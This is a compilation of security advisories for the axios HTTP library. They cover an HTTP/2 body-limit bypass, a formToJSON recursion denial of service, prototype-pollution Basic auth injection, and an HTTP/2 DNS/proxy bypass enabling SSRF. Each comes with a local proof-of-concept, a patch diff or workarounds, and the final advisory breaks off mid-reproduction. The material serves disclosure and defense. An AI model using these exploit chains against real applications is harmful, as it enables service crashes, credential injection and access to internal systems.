CVE-2026-67318 / GHSA-mwf2-3pr3-8698

More information

Details

Summary

Axios versions with Node.js HTTP/2 support allow streamed request bodies to bypass maxBodyLength enforcement when requests are sent with httpVersion: 2.

This affects applications that rely on maxBodyLength as a hard cap while forwarding attacker-controlled streams, such as upload endpoints proxying user data to an upstream HTTP/2 service. Buffered request bodies are still checked before the request is sent.

Impact

An attacker who can control a stream passed to axios can cause the application to transmit more outbound data than the configured maxBodyLength limit.

Practical impact is limited to resource consumption and policy bypass: excess outbound bandwidth, egress cost, upstream quota consumption, and limited availability impact on the application or upstream peer. This does not provide code execution, credential disclosure, or request destination control.

Browser adapters are not affected. Axios calls using the default unlimited maxBodyLength: -1 do not cross this specific configured-limit boundary.

Affected Functionality

Affected calls require all of the following:

  • Node.js HTTP adapter.
  • httpVersion: 2.
  • Request data supplied as a stream.
  • A finite maxBodyLength.
  • Attacker-controlled or attacker-influenced stream contents.

Unaffected or differently affected paths:

  • String, Buffer, and ArrayBuffer request bodies are checked before transport selection.
  • Browser XHR/fetch adapters are not affected.
  • HTTP/1.1 requests using follow-redirects enforce options.maxBodyLength.
  • In axios >=1.15.1, setting maxRedirects: 0 on affected HTTP/2 upload calls activates axios’ existing stream wrapper and rejects oversized streams.
Technical Details

In lib/adapters/http.js, axios selects http2Transport whenever httpVersion resolves to 2. The adapter still stores config.maxBodyLength on options.maxBodyLength, but Node’s HTTP/2 request API does not enforce that option.

The stream-level byte-counting wrapper is currently gated on config.maxBodyLength > -1 && config.maxRedirects === 0. For HTTP/2 requests using the default redirect setting, axios does not use follow-redirects and also does not enter this wrapper, so uploadStream.pipe(req) sends the full stream.

Local verification against the current v1.x checkout showed a request with maxBodyLength: 1024 successfully transmitting 2097152 bytes over HTTP/2.

No fixed release exists yet. The fix should enforce the byte-counting stream wrapper for HTTP/2 streamed uploads, not only for the native HTTP/1.1 maxRedirects: 0 path.

Proof of Concept of Attack
import http2 from 'node:http2';
import {Readable} from 'node:stream';
import axios from './index.js';

const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;

const server = http2.createServer();

server.on('stream', (stream) => {
  let received = 0;

  stream.on('data', (chunk) => {
    received += chunk.length;
  });

  stream.on('end', () => {
    stream.respond({':status': 200, 'content-type': 'application/json'});
    stream.end(JSON.stringify({received, limit: LIMIT}));
  });
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));

function makeBody(total) {
  const chunk = Buffer.alloc(64 * 1024, 0x41);
  let remaining = total;

  return new Readable({
    read() {
      if (remaining <= 0) {
        this.push(null);
        return;
      }

      const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);
      remaining -= next.length;
      this.push(next);
    }
  });
}

try {
  const response = await axios.post(
    `http://127.0.0.1:${server.address().port}/upload`,
    makeBody(PAYLOAD_BYTES),
    {
      httpVersion: 2,
      maxBodyLength: LIMIT,
      headers: {'content-type': 'application/octet-stream'}
    }
  );

  console.log(response.data);
  // Vulnerable result: { received: 2097152, limit: 1024 }
} finally {
  server.close();
}
Workarounds

For axios >=1.15.1, set maxRedirects: 0 on affected HTTP/2 streamed upload calls. HTTP/2 redirects are not currently supported by the axios HTTP/2 adapter, so this is a practical per-call mitigation for this path.

For earlier affected versions, pre-limit the stream with a byte-counting transform before passing it to axios, reject oversized uploads before forwarding them, or avoid httpVersion: 2 for untrusted streamed uploads.### Summary
On Node.js, axios's maxBodyLength is documented as a hard cap on outbound request bodies. For streamed uploads sent over httpVersion: 2, axios never enforces this cap: the entire body is transmitted regardless of size. Severity: medium.

Original Report
Details

In lib/adapters/http.js, transport selection is unconditional for HTTP/2:

http.js Lines 937-956

      if (isHttp2) {
        transport = http2Transport;
      } else {
        const configTransport = own('transport');
        if (configTransport) {
          transport = configTransport;
        } else if (config.maxRedirects === 0) {
          transport = isHttpsRequest ? https : http;
          isNativeTransport = true;
        } else {
          if (config.maxRedirects) {
            options.maxRedirects = config.maxRedirects;
          }
          const configBeforeRedirect = own('beforeRedirect');
          if (configBeforeRedirect) {
            options.beforeRedirects.config = configBeforeRedirect;
          }
          transport = isHttpsRequest ? httpsFollow : httpFollow;
        }
      }

maxBodyLength is then stored on the request options:

http.js Lines 958-963

      if (config.maxBodyLength > -1) {
        options.maxBodyLength = config.maxBodyLength;
      } else {
        // follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited
        options.maxBodyLength = Infinity;
      }

…but options.maxBodyLength is only honored by the follow-redirects transport. Node's native http2.request does not read it. The only stream-level cap in this file is the byte-counting Transform wrapper for streamed uploads, which is gated on config.maxRedirects === 0:

http.js Lines 1270-1304

        // Enforce maxBodyLength for streamed uploads on the native http/https
        // transport (maxRedirects === 0); follow-redirects enforces it on the
        // other path.
        let uploadStream = data;
        if (config.maxBodyLength > -1 && config.maxRedirects === 0) {
          const limit = config.maxBodyLength;
          let bytesSent = 0;
          uploadStream = stream.pipeline(
            [
              data,
              new stream.Transform({
                transform(chunk, _enc, cb) {
                  bytesSent += chunk.length;
                  if (bytesSent > limit) {
                    return cb(
                      new AxiosError(
                        'Request body larger than maxBodyLength limit',
                        AxiosError.ERR_BAD_REQUEST,
                        config,
                        req
                      )
                    );
                  }
                  cb(null, chunk);
                },
              }),
            ],
            utils.noop
          );
          uploadStream.on('error', (err) => {
            if (!req.destroyed) req.destroy(err);
          });
        }
        uploadStream.pipe(req);

For the HTTP/2 path, neither branch fires: the http2Transport is always selected, and follow-redirects is never used. The byte-counting transform also doesn't fire unless the caller happens to pin maxRedirects: 0. As a result, uploadStream.pipe(req) streams the full body into the HTTP/2 request unbounded.

PoC
import http2 from 'node:http2';
import { Readable } from 'node:stream';
import axios from '../../index.js';

const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;

// Cleartext HTTP/2 (h2c) server. http2.connect() supports h2c when given an
// `http://...` authority, which mirrors what axios does when the request URL
// uses `http://` and `httpVersion: 2`.
const server = http2.createServer();

server.on('stream', (stream, _headers) => {
  let received = 0;
  stream.on('data', (chunk) => {
    received += chunk.length;
  });
  stream.on('end', () => {
    stream.respond({
      ':status': 200,
      'content-type': 'application/json',
    });
    stream.end(JSON.stringify({ received, limit: LIMIT }));
  });
  stream.on('error', () => {
    /* swallow client-side aborts */
  });
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const port = server.address().port;

function makeBodyStream(totalBytes) {
  const CHUNK = Buffer.alloc(64 * 1024, 0x41);
  let remaining = totalBytes;
  return new Readable({
    read() {
      if (remaining <= 0) {
        this.push(null);
        return;
      }
      const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);
      remaining -= next.length;
      this.push(next);
    },
  });
}

try {
  let result;
  try {
    const response = await axios.post(`http://127.0.0.1:${port}/upload`, makeBodyStream(PAYLOAD_BYTES), {
      httpVersion: 2,
      maxBodyLength: LIMIT,
      // We intentionally do NOT set maxRedirects: 0 — that flag activates the
      // existing HTTP/1 byte-counting wrapper. The bug under test is that the
      // HTTP/2 transport path skips that wrapper entirely.
      headers: { 'content-type': 'application/octet-stream' },
      // Omit content-length so the body is streamed without a known length.
    });
    result = { status: response.status, data: response.data };
  } catch (err) {
    result = { error: err && (err.code || err.message) };
  }

  console.log('--- PoC: HTTP/2 maxBodyLength bypass ---');
  console.log('axios result:', JSON.stringify(result));

  const ok =
    result &&
    result.status === 200 &&
    result.data &&
    typeof result.data === 'object' &&
    result.data.received === PAYLOAD_BYTES &&
    result.data.limit === LIMIT;

  if (ok) {
    console.log(
      `VULNERABLE: server received ${result.data.received} bytes despite ` +
        `maxBodyLength=${LIMIT}.`
    );
    process.exitCode = 0;
  } else {
    console.log('NOT VULNERABLE: axios refused or truncated the oversized stream.');
    process.exitCode = 1;
  }
} finally {
  server.close();
  // http2 sessions cached by axios may keep the event loop alive; force exit
  // after the assertion so the script returns instead of idling on TCP keep-alive.
  setImmediate(() => process.exit(process.exitCode || 0));
}
Impact
  • Uncontrolled outbound egress: an attacker who controls the upstream stream (e.g. via an upload endpoint that pipes into axios) can force the application to transmit arbitrarily large payloads.
  • Bypass of cost/quota guards configured via maxBodyLength against billed upstream services.
  • Resource exhaustion against upstream peers, proxies, and the application's own connection / memory budget.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios: Deep formToJSON Key Recursion Can Cause Denial of Service

CVE-2026-67312 / GHSA-pmv8-rq9r-6j72

More information

Details

Summary

Axios versions starting with 0.28.0 contain uncontrolled recursion in formDataToJSON, which is exposed as axios.formToJSON() and used internally when axios serialises FormData with Content-Type: application/json.

If an application passes attacker-controlled FormData field names to this functionality, a field name with thousands of nested bracket segments can exhaust the JavaScript call stack and cause denial of service for that request or, in applications without appropriate error handling, process termination.

Impact

Applications are affected only when untrusted users can control FormData key names that are converted through axios.

Affected paths include direct use of axios.formToJSON() on untrusted FormData and axios requests in which attacker-controlled FormData is sent with Content-Type: application/json.

The observed failure is RangeError: Maximum call stack size exceeded. In local testing, this error is catchable, so process-wide crash depends on the consuming application's error handling and runtime behaviour.

Affected Functionality

Affected functionality:

  • axios.formToJSON(formData)
  • Named ESM export formToJSON
  • Default transformRequest behaviour for FormData when Content-Type contains application/json

Unaffected functionality:

  • Normal multipart FormData submission without JSON serialisation
  • toFormData, which already enforces a maxDepth guard
  • Axios versions <=0.27.2, where formDataToJSON was not present
Technical Details

The vulnerable code is in lib/helpers/formDataToJSON.js.

parsePropPath() splits a field name such as a[x][x][x] into path segments. buildPath() then recursively processes one segment per call without enforcing a maximum depth:

const result = buildPath(path, value, target[name], index);

A key with thousands of bracket-delimited segments causes thousands of recursive calls and can exceed the JavaScript engine's call stack limit.

Relevant source locations:

  • lib/helpers/formDataToJSON.js contains the unbounded recursive buildPath().
  • lib/axios.js exposes the helper as axios.formToJSON.
  • index.js exposes formToJSON as a named export.
  • index.d.ts and index.d.cts declare the public API.
  • lib/defaults/index.js calls formDataToJSON(data) when JSON-serializing FormData.

The inverse helper, toFormData, already enforces maxDepth and throws AxiosError with ERR_FORM_DATA_DEPTH_EXCEEDED, but formDataToJSON does not have an equivalent guard.

Proof of Concept of Attack
import axios from 'axios';

const fd = new FormData();
fd.append('a' + '[x]'.repeat(15000), 'value');

try {
  axios.formToJSON(fd);
  console.log('not vulnerable');
} catch (e) {
  console.log(`${e.constructor.name}: ${e.message}`);
}

Expected result on affected versions:

RangeError: Maximum call stack size exceeded

The same condition can be reached via an axios request transformation when attacker-controlled FormData is sent with Content-Type: application/json.

Workarounds

Applications can reject or normalise untrusted form field names before calling axios.formToJSON().

Applications can avoid sending untrusted FormData through axios as JSON unless JSON conversion is required.

Applications should catch errors around formToJSON() or axios requests that transform untrusted FormData.

Original Source
Summary

An uncontrolled recursion vulnerability in formDataToJSON allows any user who controls FormData input to crash a Node.js process with a single request. The function recurses once per bracket-delimited segment in a FormData key name with no depth limit, so a key like a[x][x][x]... with 15,000+ segments exhausts the call stack. This is a denial-of-service that kills the process via an unrecoverable RangeError. The inverse function toFormData already enforces a maxDepth limit (default 100) for exactly this reason — formDataToJSON lacks the equivalent guard.

Details

Vulnerable function: buildPath in lib/helpers/formDataToJSON.js, lines 50–82.

buildPath(path, value, target, index) is called recursively — once per segment in the parsed property path — with no depth check:

// lib/helpers/formDataToJSON.js, lines 50–82
function buildPath(path, value, target, index) {
  let name = path[index++];              // advance one level
  if (name === '__proto__') return true;
  // ...
  if (!isLast) {
    // ...
    const result = buildPath(path, value, target[name], index);  // recurse — NO depth guard
    // ...
  }
}

The key is first split into segments by parsePropPath (line 17), which extracts every [segment] via regex. A key with 15,000 bracket pairs produces a 15,001-element array, causing 15,001 recursive calls — well beyond the V8 default stack limit (~10,000–15,000 frames).

formDataToJSON is a public API consumed two ways:

  1. Directly by consumers — exported as axios.formToJSON() (lib/axios.js:80), with TypeScript declarations in both index.d.ts:699 and index.d.cts:708, and documented in the API reference in four languages (docs/pages/advanced/api-reference.md).

  2. Internally by transformRequest — called at lib/defaults/index.js:56 when the request body is FormData and Content-Type contains application/json:

    return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;
    

Contrast with toFormData: The inverse function (lib/helpers/toFormData.js:118) enforces maxDepth (default 100) and throws AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED when exceeded. formDataToJSON has no equivalent protection.

PoC

Requires only Node.js and an unmodified axios v1.x install:

import formDataToJSON from 'axios/lib/helpers/formDataToJSON.js';

// Build a FormData with a single key containing 15,000 nested bracket segments
const fd = new FormData();
const key = "a" + "[x]".repeat(15000);
fd.append(key, "value");

try {
  formDataToJSON(fd);
  console.log("Not vulnerable");
} catch (e) {
  console.log(e.constructor.name + ": " + e.message);
  // RangeError: Maximum call stack size exceeded
}

Verified output on Node.js 22.22.3 against axios v1.16.1 (current v1.x HEAD):

RangeError: Maximum call stack size exceeded

The process crashes. In a server context (e.g., Express middleware calling axios.formToJSON() on an uploaded form), a single crafted request terminates the process.

Impact

Denial of Service (process crash). Any unauthenticated user who can submit FormData to a Node.js application that passes it through axios.formToJSON() — or that sends it as a JSON-serialized FormData body via axios — can crash the server process with a single request. The RangeError from stack exhaustion is unrecoverable in many contexts (it cannot be reliably caught when the stack is already full). No authentication or special privileges are required; the attacker only needs to control a FormData key name.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios: Prototype pollution auth subfields can inject Basic auth

CVE-2026-67314 / GHSA-xj6q-8x83-jv6g

More information

Details

Summary

Axios versions after the GHSA-q8qp-cvcw-x6jj fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own auth object that omits username or password, axios reads inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound Authorization: Basic ... header.

This does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as auth: opts.auth || {}.

Impact

An attacker who can pollute Object.prototype.username and/or Object.prototype.password can influence the Basic auth header on affected axios requests that pass an empty or partial own auth object.

The practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing Authorization header because axios removes it when auth is used, or cause downstream authorization failures.

This should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield.

Affected Functionality

Affected functionality:

  • Node HTTP adapter Basic auth handling in lib/adapters/http.js.
  • Browser, web worker, React Native, and fetch shared resolver Basic auth handling in lib/helpers/resolveConfig.js.
  • Requests where config.auth is an own object but username and/or password are absent own properties.

Unaffected or not accepted as core impact:

  • Requests with no own auth object after mergeConfig().
  • Requests with own auth.username and auth.password values.
  • Normal axios request flow for inherited top-level params / paramsSerializer after the null-prototype mergeConfig() hardening.
  • Attacker-controlled paramsSerializer functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary.
Technical Details

mergeConfig() returns a null-prototype top-level config object, which prevents top-level reads such as config.auth from inheriting polluted values. However, nested plain objects returned by utils.merge() still have Object.prototype.

In lib/adapters/http.js, axios correctly reads the top-level auth value through own('auth'), but then reads subfields directly:

const configAuth = own('auth');
if (configAuth) {
  const username = configAuth.username || '';
  const password = configAuth.password || '';
  auth = username + ':' + password;
}

If the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain.

The same pattern exists in lib/helpers/resolveConfig.js:

if (auth) {
  headers.set(
    'Authorization',
    'Basic ' +
      btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
  );
}

The fix should guard username and password with utils.hasOwnProp, matching the proxy-auth pattern already used elsewhere.

Proof of Concept of Attack

Safe local PoC against published axios@1.16.1:

const http = require('node:http');
const axios = require('axios');

Object.prototype.username = 'victim-user';
Object.prototype.password = 'victim-password-leaked';

const server = http.createServer((req, res) => {
  console.log({
    url: req.url,
    authorization: req.headers.authorization || null
  });

  res.end('{}');
  server.close(() => {
    delete Object.prototype.username;
    delete Object.prototype.password;
  });
});

server.listen(0, '127.0.0.1', async () => {
  await axios.get(`http://127.0.0.1:${server.address().port}/api`, {
    auth: {}
  });
});

Expected output:

{
  "url": "/api",
  "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA=="
}

The base64 value decodes to victim-user:victim-password-leaked.

Workarounds

Avoid passing empty or partial auth objects. Only set auth when the application has own username and password values.

Applications that merge untrusted input should filter __proto__, constructor, and prototype, and should read optional user options with own-property checks rather than opts.auth || {}.

Where a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields.

Original Report
Summary

After GHSA-q8qp-cvcw-x6jj / PR #​10779 (shipped in v1.15.2) and the further proxy-side hardening in
PR #​10833 (merged 2026-05-02), the top-level config.auth and the proxy authsub-fields are correctly read via utils.hasOwnProp. The regular request auth sub-fields (config.auth.username and config.auth.password) and the config.params / config.paramsSerializer reads inside resolveConfig.js are still unguarded against a polluted Object.prototype.

When a polluted host process makes an axios call with the common "optional override" pattern (auth: opts.auth || {} — an empty own {}), the sub-field reads configAuth.username and configAuth.password walk the prototype chain and return the attacker-controlled values. Same for params and paramsSerializer. The outbound HTTP request then carries an attacker-chosen Authorization: Basic <base64> header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains).

Reproduces against axios main HEAD (34723be, dated 2026-05-24)
as well as the released v1.16.1.

Details

Three still-unguarded read sites on main HEAD:

(1) lib/adapters/http.js lines 737–740 (Node http adapter):

const configAuth = own('auth');         // ← top-level guard OK
if (configAuth) {
    const username = configAuth.username || '';   // ← reads .username on the inherited chain
    const password = configAuth.password || '';   // ← reads .password on the inherited chain
    auth = username + ':' + password;
}

own('auth') correctly applies hasOwnProp to the top-level auth
key. But once configAuth is the empty object the caller passed
(auth: {}), configAuth.username walks the prototype chain and
picks up Object.prototype.username.

Contrast with the proxy-auth path that PR #​10833 fixed (lines 322–324):

const authUsername =
    authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined;
const authPassword =
    authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined;

This is the exact pattern needed at lines 739–740 too.

(2) lib/helpers/resolveConfig.js lines 50 + 68 (xhr/fetch adapter shared resolver):

const auth = own('auth');               // ← top-level guard OK
...
btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
//   ^ .username and .password read directly on `auth`, no hasOwnProp guard

Same shape — top-level guarded, sub-fields walk prototype.

(3) lib/helpers/resolveConfig.js lines 58–59 (params + paramsSerializer):

newConfig.url = buildURL(
    buildFullPath(baseURL, url, allowAbsoluteUrls),
    config.params,            // ← direct read, not through own()
    config.paramsSerializer   // ← direct read, not through own()
);

This third site is already proposed for fix in open PR #​10922 by @​Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's own('params') / own('paramsSerializer') change is exactly correct; this report flags the auth sub-field sites that PR #​10922 does not cover.

PoC

This PoC contains zero direct Object.prototype.x = y writes. The
pollution flows entirely from attacker-shaped JSON through a real
deep-merge utility (defaults-deep@0.2.4, ~50k weekly downloads,
still walks constructor.prototype). A hand-rolled deep merge —
the canonical insecure backend pattern — exhibits the same pollution
via __proto__ and is more common in real codebases than any named
utility.


#!/usr/bin/env node
'use strict';

const http = require('node:http');
const axios = require('axios');
const defaultsDeep = require('defaults-deep');

// Defensive: scrub any prior pollution
const PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer'];
function scrub() {
  for (const k of PROTO_KEYS) {
    try { delete Object.prototype[k]; } catch (_) {}
  }
}
scrub();

// 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST
const attackerBody = JSON.parse(`{
  "constructor": {
    "prototype": {
      "username": "victim-user",
      "password": "victim-password-leaked",
      "params": {"leak": "ATTACKER_QUERY_TOKEN"}
    }
  }
}`);

// 2) Realistic application pattern: merge user options into defaults
const appDefaults = { timeout: 5000 };
defaultsDeep(appDefaults, attackerBody);
//   After this line:
//     Object.prototype.username  === "victim-user"
//     Object.prototype.password  === "victim-password-leaked"
//     Object.prototype.params    === { leak: "ATTACKER_QUERY_TOKEN" }

// 3) Capture outbound request on a local listener
const server = http.createServer((req, res) => {
  console.log('=== captured outbound request ===');
  console.log(JSON.stringify({
    method: req.method,
    url: req.url,
    authorization: req.headers.authorization || null,
  }, null, 2));
  res.end('{}');
  server.close();
  scrub();
});

server.listen(0, '127.0.0.1', () => {
  const port = server.address().port;

  // 4) Realistic application wrapper: optional per-call overrides.
  //    `auth: opts.auth || {}` is the common pattern — empty own object,
  //    but inherited values walk the prototype chain.
  function makeRequest(targetUrl, opts = {}) {
    return axios.get(targetUrl, {
      timeout: 5000,
      auth: opts.auth || {},
      params: opts.params || {},
    });
  }

  makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) => {
    console.error('axios error:', e.message);
    scrub();
    process.exit(1);
  });
});

Reproduction:

mkdir /tmp/axios-poc && cd /tmp/axios-poc
npm init -y
npm install axios@1.16.1 defaults-deep@0.2.4
node /path/to/poc.cjs

Captured output (verified against released 1.16.1 AND against
main at 34723be, 2026-05-24):

{
  "method": "GET",
  "url": "/api/widget?leak=ATTACKER_QUERY_TOKEN",
  "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA=="
}

dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA== base64-decodes to
victim-user:victim-password-leaked. The querystring carries
?leak=ATTACKER_QUERY_TOKEN, which can be a full data-exfil channel
in real chains (CSRF token, session cookie via req.headers, etc.).

Impact
  • Credential exfiltration via Basic auth header on the outbound
    request. If the request URL is attacker-influenced too (common in
    webhook/oauth-callback patterns), the credentials flow directly to
    the attacker. If not, they flow to the legitimate destination but
    expose victim credentials in any logs / proxies along the path.
  • Outbound request-shape control via inherited params /
    paramsSerializer. With paramsSerializer polluted to an attacker
    function, axios will execute that function with each params
    invocation — same-process code execution from a pollution primitive.
  • Amplifier framing is still correct. The application-side
    precondition is "deep-merges attacker JSON into a config object
    without __proto__/constructor filtering, then uses the empty-
    fallback wrapper auth: opts.auth || {} / params: opts.params || {}."
    Both halves are very common in real codebases (we tested
    defaults-deep, hand-rolled merges, and several lodash-family
    utilities; many still pollute).
  • CWE-1321 (Improperly Controlled Modification of Object Prototype
    Attributes — amplifier sink).
Proposed fix

Two-line change in http.js, matching the proxy-auth pattern PR

#​10833 already established:

--- a/lib/adapters/http.js
+++ b/lib/adapters/http.js
@@ -737,8 +737,10 @@
       const configAuth = own('auth');
       if (configAuth) {
-        const username = configAuth.username || '';
-        const password = configAuth.password || '';
+        const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : '';
+        const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : '';
         auth = username + ':' + password;
       }

Same pattern in resolveConfig.js:

--- a/lib/helpers/resolveConfig.js
+++ b/lib/helpers/resolveConfig.js
@@ -64,7 +64,11 @@
   // HTTP basic authentication
   if (auth) {
+    const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : '';
+    const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : '';
     headers.set(
       'Authorization',
       'Basic ' +
-        btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
+        btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : ''))
     );
   }

The params / paramsSerializer half is already handled by open
PR #​10922's own('params') / own('paramsSerializer') change — that
PR should be rebased / merged.

Relationship to recent prototype-pollution work

Same vulnerability class as the existing public hardening, just at
sub-field granularity:

This report adds: regular-request auth.username / auth.password
sub-field reads in both the http adapter (lines 737–740) and
resolveConfig.js (line 68).

Reporter notes
  • Reported as part of a small peer-review bundle of runtime security
    findings. The bundle's public tracking entry (without the working
    exploit chain) is at
    georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md.
  • I'm happy to submit the patch as a PR if that helps. Or, if you'd
    prefer to fold this into open PR #​10922 (whose author is actively
    responding to comments), please let me know and I'll coordinate.
  • Threat model honesty: this is amplifier framing — exploitation
    requires a separate prototype-pollution primitive elsewhere in the
    host process. That's how the existing GHSA-q8qp-cvcw-x6jj and
    PR #​10833 were framed too, so the precedent for "in-scope as a
    hardening fix" is established.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios: HTTP/2 adapter bypasses configured DNS lookup and proxy controls

CVE-2026-101898 / GHSA-3pq3-5fj3-cg6v

More information

Details

Summary

Axios for Node.js does not apply configured DNS lookup or proxy controls when a request uses httpVersion: 2. The HTTP/1 adapter path wraps and forwards config.lookup, builds normal request options, and applies proxy routing through setProxy(). The HTTP/2 path builds a session with http2.connect() using only options.http2Options, which drops the top-level lookup, agent, and proxy state.

Applications are affected when they allow a user to influence request destinations, enable axios HTTP/2, and rely on axios lookup or proxy routing to prevent SSRF or enforce outbound network policy.

Impact

In affected server-side deployments, an attacker can cause axios to connect directly to destinations that the configured resolver or proxy would have rejected. Depending on reachable services, this can expose cloud metadata, internal service responses, or allow state-changing requests to internal systems.

This is not an unconditional SSRF in every axios deployment. It requires httpVersion: 2 and an application-level trust boundary where user-influenced URLs are constrained by lookup or proxy policy.

Affected Functionality

Affected:

  • Node.js HTTP adapter with httpVersion: 2.
  • config.lookup supplied as a DNS policy.
  • Explicit config.proxy and environment-derived proxy settings for HTTPS HTTP/2 requests.

Not affected:

  • Browser adapters.
  • Node HTTP/1 requests, which pass lookup to the transport and apply proxy handling.
  • Applications that validate destination hosts independently before calling axios.
Technical Details

In lib/adapters/http.js, the adapter reads lookup, wraps it, stores it on the request options, and applies setProxy() before selecting a transport. For HTTP/2, http2Transport.request() builds an authority from options.protocol, options.hostname, and options.port, then calls:

const { http2Options, headers } = options;
const session = http2Sessions.getSession(authority, http2Options);

lib/helpers/Http2Sessions.js ultimately calls http2.connect(authority, options) with only the http2Options object. The configured DNS lookup and the proxy or tunneling agent installed on the top-level request options are not forwarded into that call.

Local verification on axios 1.18.1 showed lookupCalls: 0 while an HTTP/2 request to a local h2 origin succeeded. A second local HTTPS h2 verification with an explicit rejecting HTTP proxy showed the origin received the request and the proxy observed no traffic.

Proof of Concept of Attack

Local constrained demonstration:

  1. Start an HTTP/2 server on loopback.
  2. Call axios.get("http://localhost:<port>/internal", { httpVersion: 2, lookup }) where lookup throws EPOLICY.
  3. Observe that the request succeeds and the lookup counter remains 0.

For proxy routing:

  1. Start an HTTPS HTTP/2 origin and a local HTTP proxy that rejects every request and CONNECT.
  2. Call axios with httpVersion: 2, http2Options: { rejectUnauthorized: false }, and explicit proxy.
  3. Observe that the origin receives the request and the proxy receives nothing.

Expected safe behavior is that either the lookup policy blocks the request or the proxy observes and rejects the request.

Workarounds

Use the HTTP/1 adapter path for requests that depend on axios lookup or proxy controls. Alternatively, enforce destination allow/deny policy before calling axios, outside the adapter transport path.

Original report

Summary

I found that Axios does not apply the configured lookup function or proxy when a request uses httpVersion: 2. The HTTP/1 adapter applies both controls, but the HTTP/2 path connects straight to the URL's hostname using http2.connect().

This matters for server applications that accept a user-influenced URL and use a custom DNS lookup or mandatory outbound proxy to prevent SSRF. Switching the Axios instance to HTTP/2 silently removes those controls, allowing the request to reach an address the application intended to block.

I reproduced this on the current npm release, Axios 1.18.1.

Details

The HTTP adapter reads and wraps the caller's lookup function, builds the normal request options, and calls setProxy():

  • lib/adapters/http.js, around lines 530-578: reads and wraps lookup
  • lib/adapters/http.js, around lines 895-954: adds lookup to options and applies setProxy()

For HTTP/2, however, the adapter selects http2Transport. That transport creates an authority from the destination and only passes options.http2Options to the session pool:

const { http2Options, headers } = options;
const session = http2Sessions.getSession(authority, http2Options);

lib/helpers/Http2Sessions.js then calls:

const session = http2.connect(authority, options);

At this point options is only the http2Options object. The top-level lookup, the proxy tunnelling agent created by setProxy(), and the selected httpAgent/httpsAgent are not forwarded. The request therefore uses the system resolver and opens a direct connection to the origin.

The same root cause affects both explicit proxy configuration and environment-derived proxy configuration. I kept the PoC local and used an explicit proxy so the result does not depend on shell environment variables.

PoC

I attached axios_http2_transport_controls_poc.mjs. The PoC is entirely local and sets up three pieces:

  1. An HTTPS origin with HTTP/2 enabled. If reached, it records the request and returns REACHED_BLOCKED_ORIGIN.
  2. An HTTP proxy that records traffic but rejects every normal request and every CONNECT request with 502 Bad Gateway.
  3. A custom Axios lookup callback that rejects every DNS lookup with an EPOLICY error.

The first request is an HTTP/1 control request. It uses the blocking lookup callback and has proxying disabled. Axios calls the callback, receives EPOLICY, and does not reach the origin. This confirms that the callback works and that the hostname is blocked through the normal adapter path.

The second request targets the same URL with httpVersion: 2. It is given both security controls: the same blocking lookup callback and the rejecting proxy. If Axios honors either one, this request cannot reach the origin. It should fail with EPOLICY, or it should reach the proxy and receive its 502 response.

Instead, the request returns HTTP 200 with REACHED_BLOCKED_ORIGIN. The lookup counter does not increase, and the proxy records no request or CONNECT attempt. The origin is the only server that records traffic. This shows that the HTTP/2 path skipped both controls and connected directly using the system resolver.

To reproduce, run the attachment from the root of an Axios checkout:

